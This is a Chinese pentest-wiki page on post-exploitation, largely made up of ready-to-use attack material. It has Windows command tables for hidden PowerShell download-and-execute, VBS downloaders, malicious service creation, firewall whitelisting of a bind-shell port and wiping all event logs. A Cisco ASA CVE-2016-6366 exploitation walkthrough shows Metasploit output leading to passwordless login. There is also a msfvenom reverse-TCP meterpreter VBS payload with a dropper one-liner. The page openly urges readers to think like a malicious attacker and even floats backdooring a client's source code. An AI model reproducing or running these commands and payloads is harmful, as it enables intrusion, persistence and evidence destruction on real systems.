当前位置:   article > 正文

Pentest Wiki Part4 后渗透(一)

Pentest Wiki Part4 后渗透(一)

后渗透

0x01 前言

后渗透是渗透测试的关键组成部分。这就是您将自己与普通黑客区分开来的地方,实际上可以从渗透测试中提供有价值的信息和情报。后渗透针对特定系统,识别关键基础设施,并针对公司最重视的信息或数据,以及它试图保护的信息或数据。当你渗透一个又一个的系统时,你应该尝试着展示出那些对业务有最大影响的攻击。

在后渗透中,进行系统攻击时,应该花时间确定各个系统的功能以及不同的用户角色。例如,假设您了解了域基础架构系统,并以企业管理员身份运行或具有域管理权限。您可能是域管,但怎么与Active Directory通信的系统呢?公司的财务应用程序如何?你能否操控这个系统,然后在下一个支付阶段中,把所有的钱从公司转到别的账户上?目标的知识产权如何?

例如,假设您的客户是一家大型软件开发商,它将客户编码的应用程序发送给客户以供制造环境使用。你是否会在自己的源代码加上后门,实质上是让所有的客户都受到损害,那会损害他们的品牌可信度。

后渗透是一个棘手的事情,您必须花时间了解哪些信息可供您使用,然后将这些信息哪些又有利于你。攻击者通常会花费大量的时间在被攻陷的系统上上。像恶意攻击者一样思考 - 具有创造性,快速适应,依靠自己的智慧而不是自动化工具。

远程管理

CommandDescription
NET USE \\ip\ipc$ password /user:username与远程服务建立一个ipc连接,如果成功,您可以尝试查看,查询....具有正确的权限.
NET USE z: \\ip\sharepassword /user:username将远程共享映射为本地驱动器z:
systeminfo /S ComputerName /U username /P password此工具显示本地或远程计算机的操作系统配置信息,包括服务包级别.
tasklist /S SERVER /U DOMAIN\username /P password显示远程机器上当前正在运行的进程的列表.
taskkill /S SERVER /U DOMAIN\username /P password杀死远程服务器中的进程.
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"从远程服务器下载文件.
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File test.ps1本地执行test.ps1
bitsadmin /transfer systemrepair /download /priority normal http://path/to/filec:\path\local\file创建一个名为systemrepair的工作来从远程服务器上下载文件.
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs<BR><BR>cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename用vbs下载文件
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs<BR><BR>cscript.exe %TEMP%\msf.vbs http://ip:port/vbspayload.txt下载并执行metasploit vbs payload.
PsExec.exe \\192.168.206.145 -accepteula -u username -p passwordcmd.exe /c ver远程执行Windows命令,并返回结果
wmic /node:SERVER /user:DOMAIN\username /password:password process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"在远程服务器上创建一个新进程。 没有命令结果返回.

PROXY

CommandDescription
NETSH INTERFACE portproxy add v4tov4 listenport=LPORTconnectaddress=RHOST connectport=RPORT [listenaddress=LHOSTprotocol=tcp]将数据从本地端口传输到远程地址的指定端口.
set http_proxy=http://your_proxy:your_port<BR>set http_proxy=http://username:password@your_proxy:your_port<BR>set https_proxy=https://your_proxy:your_port<BR>set https_proxy=https://username:password@your_proxy:your_port在命令行下使用代理

Whitelist-白名单

CommandDescription
NETSH FIREWALL show all显示域/标准配置文件的允许的程序配置.
NETSH FIREWALL add allowedprogramC:\Windows\system32\cmd.exe cmd enable在防火墙允许的应用程序白名单中添加一个程序。
NETSH FIREWALL delete allowedprogram cmd从防火墙allowedprogram Whitelist删除一个项目,您也可以使用路径来删除它.
NETSH FIREWALL show all显示域/标准的端口配置.
NETSH FIREWALL add portopening tcp 4444bindshell enable all将tcp端口4444添加到端口白名单中.


Service

CommandDescription
sc create servicename type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename创建恶意服务,并获得本地系统特权.

Scheduler

CommandDescription
net use \\IP\ipc$ password/user:username<BR>at \\ComputerName time "command"AT命令安排命令和程序在指定的时间和日期在计算机上运行。net time [/domain]显示当前时间.

Logs

CommandDescription
del %WINDIR%*.log /a /s /q /f%WINDIR%目录中删除所有*.log文件.
wevtutil el列出系统保存的不同日志文件.
for /f %a in ('wevtutil el') do @wevtutil cl "%a"清除特定日志的内容.
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security清除特定的事件日志

参考链接

  1. How to execute metasploit vbs payload in cmd.exe ?
  2. Hacking Windows Active Directory
  3. How to dump windows 2012 credentials ?
  4. How to use PowerSploit Invoke-Mimikatz to dump credentials ?
  5. How to use vssadmin ?

How-to-hack-Cisco-ASA-with-CVE-2016-6366

Cisco ASA - CVE-2016-6366

思科自适应安全设备(ASA)软件的简单网络管理协议(SNMP)代码中的漏洞可能允许经过身份验证的远程攻击者重新加载受影响的系统或远程执行代码。

该漏洞是由于受影响的代码区域中存在缓冲区溢出。 当在虚拟或物理思科ASA设备上启用该漏洞时,该漏洞会影响所有版本的SNMP(版本1,2c和3)。 攻击者可以通过向受影响系统上的启用SNMP的接口发送精心设计的SNMP数据包来利用此漏洞。 攻击者可能允许攻击者执行任意代码并获得对系统的完全控制或导致受影响系统的重载。 攻击者必须知道SNMP字符串才能利用此漏洞。

注意:只有指向受影响系统的流量可用于利用此漏洞。 此漏洞仅影响以路由和透明防火墙模式以及单个或多个上下文模式配置的系统。 此漏洞只能由IPv4流量触发。 攻击者需要了解SNMP版本1和SNMP版本2c中配置的SNMP公共字符串或者SNMP版本3的有效用户名和密码。
思科发布了解决此漏洞的软件更新。 此通报的变通办法部分列出了缓解措施。

如何登录思科ASA?

如果您对Cisco ASA设备一无所知,请尝试使用nmap或自定义工具/方法发现有用的东西。
如果启用snmp,我们可以尝试使用metasploit破解密码。

  1. msf auxiliary(snmp_login) > set PASSWORD public
  2. PASSWORD => public
  3. msf auxiliary(snmp_login) > set RHOSTS 192.168.206.114
  4. RHOSTS => 192.168.206.114
  5. msf auxiliary(snmp_login) > run
  6. [+] 192.168.206.114:161 - LOGIN SUCCESSFUL: public (Access level: read-write); Proof (sysDescr.0): Cisco Adaptive Security Appliance Version 9.2(1)
  7. [*] Scanned 1 of 1 hosts (100% complete)
  8. [*] Auxiliary module execution completed

现在,CVE-2016-6366可以帮助我们渗透远程cisco设备。

  1. msf auxiliary(cisco_asa_extrabacon) > show options
  2. Module options (auxiliary/admin/cisco/cisco_asa_extrabacon):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. COMMUNITY public yes SNMP Community String
  6. MODE pass-disable yes Enable or disable the password auth functions (Accepted: pass-disable, pass-enable)
  7. RETRIES 1 yes SNMP Retries
  8. RHOST 192.168.206.114 yes The target address
  9. RPORT 161 yes The target port
  10. TIMEOUT 1 yes SNMP Timeout
  11. msf auxiliary(cisco_asa_extrabacon) > run
  12. [*] Building pass-disable payload for version 9.2(1)...
  13. [*] Sending SNMP payload...
  14. [+] Clean return detected!
  15. [!] Don't forget to run pass-enable after logging in!
  16. [*] Auxiliary module execution completed

如果成功利用,请尝试用telnet登录。 攻击者可以不用密码登录到思科设备。

  1. $ telnet 192.168.206.114
  2. ciscoasa> ?
  3. clear Reset functions
  4. enable Turn on privileged commands
  5. exit Exit from the EXEC
  6. help Interactive help for commands
  7. login Log in as a particular user
  8. logout Exit from the EXEC
  9. no Negate a command or set its defaults
  10. ping Send echo messages
  11. quit Exit from the EXEC
  12. show Show running system information
  13. traceroute Trace route to destination

如何检查思科版本?

  1. ciscoasa> show version
  2. Cisco Adaptive Security Appliance Software Version 9.2(1)
  3. Device Manager Version 7.2(1)
  4. Compiled on Thu 24-Apr-14 12:14 PDT by builders
  5. System image file is "boot:/asa921-smp-k8.bin"
  6. Config file at boot was "startup-config"
  7. ciscoasa up 2 hours 25 mins
  8. Hardware: ASAv, 2048 MB RAM, CPU Pentium II 2793 MHz,
  9. Internal ATA Compact Flash, 256MB
  10. Slot 1: ATA Compact Flash, 8192MB
  11. BIOS Flash Firmware Hub @ 0x1, 0KB
  12. 0: Ext: Management0/0 : address is 000c.29a9.88d6, irq 10
  13. 1: Ext: GigabitEthernet0/0 : address is 000c.29a9.88e0, irq 5
  14. 2: Ext: GigabitEthernet0/1 : address is 000c.29a9.88ea, irq 9
  15. 3: Ext: GigabitEthernet0/2 : address is 000c.29a9.88f4, irq 10
  16. ASAv Platform License State: Unlicensed
  17. *Install -587174176 vCPU ASAv platform license for full functionality.
  18. The Running Activation Key is not valid, using default settings:
  19. Licensed features for this platform:
  20. Virtual CPUs : 0 perpetual
  21. Maximum Physical Interfaces : 10 perpetual
  22. Maximum VLANs : 50 perpetual
  23. Inside Hosts : Unlimited perpetual
  24. Failover : Active/Standby perpetual
  25. Encryption-DES : Enabled perpetual
  26. Encryption-3DES-AES : Enabled perpetual
  27. Security Contexts : 0 perpetual
  28. GTP/GPRS : Disabled perpetual
  29. AnyConnect Premium Peers : 2 perpetual
  30. AnyConnect Essentials : Disabled perpetual
  31. Other VPN Peers : 250 perpetual
  32. Total VPN Peers : 250 perpetual
  33. Shared License : Disabled perpetual
  34. AnyConnect for Mobile : Disabled perpetual
  35. AnyConnect for Cisco VPN Phone : Disabled perpetual
  36. Advanced Endpoint Assessment : Disabled perpetual
  37. UC Phone Proxy Sessions : 2 perpetual
  38. Total UC Proxy Sessions : 2 perpetual
  39. Botnet Traffic Filter : Enabled perpetual
  40. Intercompany Media Engine : Disabled perpetual
  41. Cluster : Disabled perpetual
  42. This platform has an ASAv VPN Premium license.
  43. Serial Number: 9ATJDXTHK3B
  44. Running Permanent Activation Key: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
  45. Image type : Release
  46. Key version : A
  47. Configuration last modified by enable_15 at 10:12:25.439 UTC Mon Sep 26 2016

如何进入特权模式?

enable可以用来进入思科配置模式。 通常,密码为空。

  1. ciscoasa> help enable
  2. USAGE:
  3. enable [<priv_level>]
  4. DESCRIPTION:
  5. enable Turn on privileged commands
  6. ciscoasa> enable ?
  7. <0-15> Enter optional privilege level (0-15)
  8. <cr>
  9. ciscoasa> enable
  10. Password:
  11. ciscoasa# configure terminal
  12. ciscoasa(config)# ?
  13. aaa Enable, disable, or view user authentication,
  14. authorization and accounting
  15. aaa-server Configure a AAA server group or a AAA server
  16. access-group Bind an access-list to an interface to filter
  17. traffic
  18. access-list Configure an access control element
  19. arp Change or view ARP table, set ARP timeout
  20. value, view statistics
  21. as-path BGP autonomous system path filter
  22. asdm Configure Device Manager
  23. asp Configure ASP parameters
  24. auth-prompt Customize authentication challenge, reject or
  25. acceptance prompt
  26. auto-update Configure Auto Update
  27. banner Configure login/session banners
  28. bgp-community format for BGP community
  29. boot Set system boot parameters
  30. ca Certification authority
  31. call-home Smart Call-Home Configuration
  32. checkheaps Configure checkheap verification intervals
  33. class-map Configure MPF Class Map
  34. clear Clear
  35. client-update Configure and change client update parameters
  36. clock Configure time-of-day clock
  37. cluster Cluster configuration
  38. command-alias Create command alias
  39. community-list Add a community list entry
  40. compression Configure global Compression parameters
  41. configure Configure using various methods
  42. console Serial console functions
  43. coredump Configure Coredump options
  44. crashinfo Enable/Disable writing crashinfo to flash
  45. crypto Configure IPSec, ISAKMP, Certification
  46. authority, key
  47. ctl-file Configure a ctl-file instance
  48. ctl-provider Configure a CTL Provider instance
  49. cts Cisco Trusted Security commands
  50. ddns Configure dynamic DNS update method
  51. dhcp-client Configure parameters for DHCP client operation
  52. dhcpd Configure DHCP Server
  53. dhcprelay Configure DHCP Relay Agent
  54. dns Add DNS functionality to an interface
  55. dns-group Set the global DNS server group
  56. dns-guard Enforce one DNS response per query
  57. domain-name Change domain name
  58. dynamic-access-policy-record Dynamic Access Policy configuration commands
  59. dynamic-filter Configure Dynamic Filter
  60. dynamic-map Configure crypto dynamic map
  61. enable Configure password for the enable command
  62. end Exit from configure mode
  63. established Allow inbound connections based on established
  64. connections
  65. event Configure event manager
  66. exit Exit from config mode
  67. failover Enable/disable failover feature
  68. filter Enable or disable URL, FTP, HTTPS, Java, and
  69. ActiveX filtering
  70. fips FIPS 140-2 compliance information
  71. firewall Switch to router/transparent mode
  72. fixup Add or delete inspection services
  73. flow-export Configure flow information export through
  74. NetFlow
  75. fragment Configure the IP fragment database
  76. ftp Set FTP mode
  77. ftp-map Configure advanced options for FTP inspection
  78. group-delimiter The delimiter for tunnel-group lookup.
  79. group-policy Configure or remove a group policy
  80. gtp-map Configure advanced options for GTP inspection
  81. h225-map Configure advanced options for H225 inspection
  82. help Interactive help for commands
  83. hostname Change host name of the system
  84. hpm Configure TopN host statistics collection
  85. http Configure http server and https related
  86. commands
  87. http-map This command has been deprecated.
  88. icmp Configure access rules for ICMP traffic
  89. imap4s Configure the imap4s service
  90. interface Select an interface to configure
  91. ip Configure IP address pools
  92. ip Configure IP addresses, address pools, IDS, etc
  93. ipsec Configure transform-set, IPSec SA lifetime and
  94. PMTU Aging reset timer
  95. ipv6 Configure IPv6 address pools
  96. ipv6 Global IPv6 configuration commands
  97. ipv6-vpn-addr-assign Global settings for VPN IP address assignment
  98. policy
  99. isakmp Configure ISAKMP options
  100. jumbo-frame Configure jumbo-frame support
  101. key Create various configuration keys
  102. l2tp Configure Global L2TP Parameters
  103. ldap Configure LDAP Mapping
  104. logging Configure logging levels, recipients and other
  105. options
  106. logout Logoff from config mode
  107. mac-address MAC address options
  108. mac-list Create a mac-list to filter based on MAC
  109. address
  110. management-access Configure management access interface
  111. map Configure crypto map
  112. media-termination Configure a media-termination instance
  113. mgcp-map Configure advanced options for MGCP inspection
  114. migrate Migrate IKEv1 configuration to IKEv2/SSL
  115. monitor-interface Enable or disable failover monitoring on a
  116. specific interface
  117. mount Configure a system mount
  118. mroute Configure static multicast routes
  119. mtu Specify MTU(Maximum Transmission Unit) for an
  120. interface
  121. multicast-routing Enable IP multicast
  122. name Associate a name with an IP address
  123. names Enable/Disable IP address to name mapping
  124. nat Associate a network with a pool of global IP
  125. addresses
  126. no Negate a command or set its defaults
  127. ntp Configure NTP
  128. nve Configure an Network Virtulization Endpoint
  129. (NVE)
  130. object Configure an object
  131. object-group Create an object group for use in
  132. 'access-list', etc
  133. object-group-search Enables object group search algorithm
  134. pager Control page length for pagination
  135. passwd Change Telnet console access password
  136. password Configure password encryption
  137. password-policy Configure password policy options
  138. phone-proxy Configure a Phone proxy instance
  139. pim Configure Protocol Independent Multicast
  140. policy-list Define IP Policy list
  141. policy-map Configure MPF Parameter Map
  142. pop3s Configure the pop3s service
  143. prefix-list Build a prefix list
  144. priority-queue Enter sub-command mode to set priority-queue
  145. attributes
  146. privilege Configure privilege levels for commands
  147. prompt Configure session prompt display
  148. quit Exit from config mode
  149. quota Configure quotas
  150. regex Define a regular expression
  151. remote-access Configure SNMP trap threshold for VPN
  152. remote-access sessions
  153. route Configure a static route for an interface
  154. route-map Create route-map or enter route-map
  155. configuration mode
  156. router Enable a routing process
  157. same-security-traffic Enable same security level interfaces to
  158. communicate
  159. scansafe Scansafe configuration
  160. service Configure system services
  161. service-interface service-interface for dynamic interface types
  162. service-policy Configure MPF service policy
  163. setup Pre-configure the system
  164. sla IP Service Level Agreement
  165. smtp-server Configure default SMTP server address to be
  166. used for Email
  167. smtps Configure the smtps service
  168. snmp Configure the SNMP options
  169. snmp-map Configure an snmp-map, to control the operation
  170. of the SNMP inspection
  171. snmp-server Modify SNMP engine parameters
  172. ssh Configure SSH options
  173. ssl Configure SSL options
  174. sunrpc-server Create SUNRPC services table
  175. sysopt Set system functional options
  176. tcp-map Configure advanced options for TCP inspection
  177. telnet Add telnet access to system console or set idle
  178. timeout
  179. terminal Set terminal line parameters
  180. tftp-server Configure default TFTP server address and
  181. directory
  182. threat-detection Show threat detection information
  183. time-range Define time range entries
  184. timeout Configure maximum idle times
  185. tls-proxy Configure a TLS proxy instance or the maximum
  186. sessions
  187. track Object tracking configuration commands
  188. tunnel-group Create and manage the database of connection
  189. specific records for IPSec connections
  190. tunnel-group-map Specify policy by which the tunnel-group name
  191. is derived from the content of a certificate.
  192. uc-ime Configure a Cisco Intercompany Media Engine
  193. (UC-IME) instance
  194. url-block Enable URL pending block buffer and long URL
  195. support
  196. url-cache Enable/Disable URL caching
  197. url-server Configure a URL filtering server
  198. user-identity Configure user-identity firewall
  199. username Configure user authentication local database
  200. virtual Configure address for authentication virtual
  201. servers
  202. vnmc Configure VNMC params
  203. vpdn Configure VPDN feature
  204. vpn Configure VPN parameters.
  205. vpn-addr-assign Global settings for VPN IP address assignment
  206. policy
  207. vpn-sessiondb Configure the VPN Session Manager
  208. vpnsetup Configure VPN Setup Commands
  209. vxlan Configure VXLAN system parameters
  210. wccp Web-Cache Coordination Protocol Commands
  211. webvpn Configure the WebVPN service
  212. xlate Configure an xlate option
  213. zonelabs-integrity ZoneLabs integrity Firewall Server
  214. Configuration

如何配置cisco接口?

  1. ciscoasa(config)# interface ?
  2. configure mode commands/options:
  3. GigabitEthernet GigabitEthernet IEEE 802.3z
  4. Management Management interface
  5. Redundant Redundant Interface
  6. TVI Tenant Virtual Interface
  7. vni VNI Interface
  8. <cr>
  9. ciscoasa(config)# interface GigabitEthernet ?
  10. configure mode commands/options:
  11. <0-0> GigabitEthernet interface number
  12. ciscoasa(config)# interface GigabitEthernet 0/?
  13. configure mode commands/options:
  14. <0-2> GigabitEthernet interface number
  15. ciscoasa(config)# interface GigabitEthernet 0/0

如何设置IP地址?

  1. ciscoasa(config-if)# ?
  2. Interface configuration commands:
  3. authentication authentication subcommands
  4. ddns Configure dynamic DNS
  5. default Set a command to its defaults
  6. delay Specify interface throughput delay
  7. description Interface specific description
  8. dhcp Configure parameters for DHCP client
  9. dhcprelay Configure DHCP Relay Agent
  10. duplex Configure duplex operation
  11. exit Exit from interface configuration mode
  12. flowcontrol Configure flowcontrol operation
  13. hello-interval Configures EIGRP-IPv4 hello interval
  14. help Interactive help for interface subcommands
  15. hold-time Configures EIGRP-IPv4 hold time
  16. igmp IGMP interface commands
  17. ip Configure the ip address
  18. ipv6 IPv6 interface subcommands
  19. mac-address Assign MAC address to interface
  20. management-only Dedicate an interface to management. Block thru traffic
  21. mfib Interface Specific MFIB Control
  22. multicast Configure multicast routing
  23. nameif Assign name to interface
  24. no Negate a command or set its defaults
  25. ospf OSPF interface commands
  26. pim PIM interface commands
  27. pppoe Configure parameters for PPPoE client
  28. rip Router Information Protocol
  29. security-level Specify the security level of this interface after this
  30. keyword, Eg: 0, 100 etc. The relative security level between
  31. two interfaces determines the way the Adaptive Security
  32. Algorithm is applied. A lower security_level interface is
  33. outside relative to a higher level interface and equivalent
  34. interfaces are outside to each other
  35. shutdown Shutdown the selected interface
  36. speed Configure speed operation
  37. split-horizon Configures EIGRP-IPv4 split-horizon
  38. summary-address Configures EIGRP-IPv4 summary-address
  1. ciscoasa(config-if)# ip address ?
  2. interface mode commands/options:
  3. Hostname or A.B.C.D Firewall's network interface address
  4. dhcp Keyword to use DHCP to poll for information. Enables the
  5. DHCP client feature on the specified interface
  6. pppoe Keyword to use PPPoE to poll for information. Enables
  7. the PPPoE client feature on the specified interface
  8. ciscoasa(config)# ip address 192.168.206.114 255.255.255.0
  9. ciscoasa(config-if)# no shutdown
  10. ciscoasa(config-if)# exit
  11. ciscoasa(config)# exit
  12. ciscoasa# ping 192.168.206.1
  13. Type escape sequence to abort.
  14. Sending 5, 100-byte ICMP Echos to 192.168.206.1, timeout is 2 seconds:
  15. !!!!!
  16. Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/10 ms

如何启用snmp服务?

  1. ciscoasa# configure terminal
  2. ciscoasa(config)# snmp-server host inside 192.168.206.1 community 0 public

如何启用启用SSH服务?

  1. ciscoasa# configure terminal
  2. ciscoasa(config)# username admin password password
  3. ciscoasa(config)# aaa authentication ssh console LOCAL
  4. ciscoasa(config)# passwd password
  5. ciscoasa(config)# crypto key generate rsa ?
  6. configure mode commands/options:
  7. general-keys Generate a general purpose RSA key pair for signing and
  8. encryption
  9. label Provide a label
  10. modulus Provide number of modulus bits on the command line
  11. noconfirm Specify this keyword to suppress all interactive prompting.
  12. usage-keys Generate seperate RSA key pairs for signing and encryption
  13. <cr>
  14. ciscoasa(config)# crypto key generate rsa modulus ?
  15. configure mode commands/options:
  16. 1024 1024 bits
  17. 2048 2048 bits
  18. 4096 4096 bits
  19. 512 512 bits
  20. 768 768 bits
  21. ciscoasa(config)# ssh 192.168.206.1 255.255.255.0 inside
  22. ciscoasa(config)# ssh 192.168.206.137 255.255.255.0 inside
  23. ciscoasa(config)# ssh version 2

如何启用Telnet服务?

  1. ciscoasa# configure terminal
  2. ciscoasa(config)# aaa authentication telnet console LOCAL
  3. ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside

链接

  1. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp
  2. http://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-3.firewalls/118075-configure-asa-00.html
  3. https://github.com/RiskSense-Ops/CVE-2016-6366/
  4. http://paper.seebug.org/31/

Windows_ActiveDirectory

在cmd shell中执行metasploit vbs payload

如果你是一个pentester/安全研究员,你可能希望从cmd shell获得meterpreter会话,例如:sqlmap --os-shell或其他工具。例如:

  1. $ ncat -l -p 4444
  2. Microsoft Windows XP [Version 5.1.2600]
  3. (C) Copyright 1985-2001 Microsoft Corp.
  4. C:\Documents and Settings\test\Desktop>ver
  5. ver
  6. Microsoft Windows XP [Version 5.1.2600]
  7. C:\Documents and Settings\test\Desktop>

在以前,你可能会尝试下面的方法:

  • 将exe转换成批处理脚本。
  • 从远程服务器下载payload文件(ftp,tftp,http,....)
  • ......

现在,我将向您展示如何在cmd.exe中运行metasploit payload。 请尝试考虑以下问题:

  • 如何用msfvenom生成一个payload?
  • 如何以简单/兼容的方式运行payload?
如何用msfvenom生成一个payload?
  1. $ msfvenom -p windows/meterpreter/reverse_tcp
  2. LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win
  3. No encoder or badchars specified, outputting raw payload
  4. Payload size: 333 bytes
  5. Final size of vbs file: 7370 bytes
  6. Function oSpLpsWeU(XwXDDtdR)
  7. urGQiYVn = "" & _
  8. XwXDDtdR & ""
  9. Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0")
  10. gFMdOBBiLZ.LoadXML(urGQiYVn)
  11. oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValue
  12. set gFMdOBBiLZ = nothing
  13. End Function
  14. Function skbfzWOqR()
  15. cTENSbYbnWY = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnN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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwwAAAAAAAAAAAAAFQwAAA4MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQDAAAAAAAAAAAAAAQDAAAAAAAACcAEV4aXRQcm9jZXNzAAAAADAAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArlCKEXNEZtNDw65f3Fx0iJZqtzpLJTX0kUgG"
  16. Dim GBHMAfCsea
  17. Set GBHMAfCsea = CreateObject("Scripting.FileSystemObject")
  18. Dim nYosrMtHSIOKSTI
  19. Dim LNXsqHXEKZQU
  20. Set nYosrMtHSIOKSTI = GBHMAfCsea.GetSpecialFolder(2)
  21. LNXsqHXEKZQU = nYosrMtHSIOKSTI & "\" & GBHMAfCsea.GetTempName()
  22. GBHMAfCsea.CreateFolder(LNXsqHXEKZQU)
  23. YeQZhbvaLPekFW = LNXsqHXEKZQU & "\" & "QoziwORKliqRDPs.exe"
  24. Dim voFeIDpffjdo
  25. Set voFeIDpffjdo = CreateObject("Wscript.Shell")
  26. WwqoNcaCIbw = oSpLpsWeU(cTENSbYbnWY)
  27. Set WQwWDbhse = CreateObject("ADODB.Stream")
  28. WQwWDbhse.Type = 1
  29. WQwWDbhse.Open
  30. WQwWDbhse.Write WwqoNcaCIbw
  31. WQwWDbhse.SaveToFile YeQZhbvaLPekFW, 2
  32. voFeIDpffjdo.run YeQZhbvaLPekFW, 0, true
  33. GBHMAfCsea.DeleteFile(YeQZhbvaLPekFW)
  34. GBHMAfCsea.DeleteFolder(LNXsqHXEKZQU)
  35. End Function
  36. skbfzWOqR

演示:
可以把生成的payload放到服务器,然后再目标系统上执行ps代码,文章开头说的远程下载:



如何以简单/兼容的方式运行payload?

阅读代码,我们可以创建一个名为msf.vbs的简单的vbs脚本来执行shellcode。 vbs脚本可以在Windows XP / 2003 / Vista / 7/8/10/2008/2012 / ....上执行

  1. shellcode = WScript.Arguments.Item(0)
  2. strXML = "" & shellcode & ""
  3. Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
  4. oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
  5. set oXMLDoc = nothing
  6. Dim fso
  7. Set fso = CreateObject("Scripting.FileSystemObject")
  8. Dim tempdir
  9. Dim basedir
  10. Set tempdir = fso.GetSpecialFolder(2)
  11. basedir = tempdir & "\" & fso.GetTempName()
  12. fso.CreateFolder(basedir)
  13. tempexe = basedir & "\" & "test.exe"
  14. Dim adodbstream
  15. Set adodbstream = CreateObject("ADODB.Stream")
  16. adodbstream.Type = 1
  17. adodbstream.Open
  18. adodbstream.Write decode
  19. adodbstream.SaveToFile tempexe, 2
  20. Dim wshell
  21. Set wshell = CreateObject("Wscript.Shell")
  22. wshell.run tempexe, 0, true
  23. fso.DeleteFile(tempexe)
  24. fso.DeleteFolder(basedir)
  25. Ok, how to run it in cmd.exe ? Do you want to paste the code line by line ? A simple command is created as follow:

用一个简单的命令上传msf.vbs到目标系统:

echo shellcode = WScript.Arguments.Item(0):strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs

用msf.vbs和cscript.exe执行metasploit payload:

C:\Documents and Settings\test\Desktop> cscript.exe msf.vbs <msf-vbs-shellcode>


绕过nc shell缓冲区大小限制

如果脚本在本地主机上的cmd.exe中使用,则一切正常。 但是,如果它在netcat cmd shell中使用,则 payload将被破坏。例如:

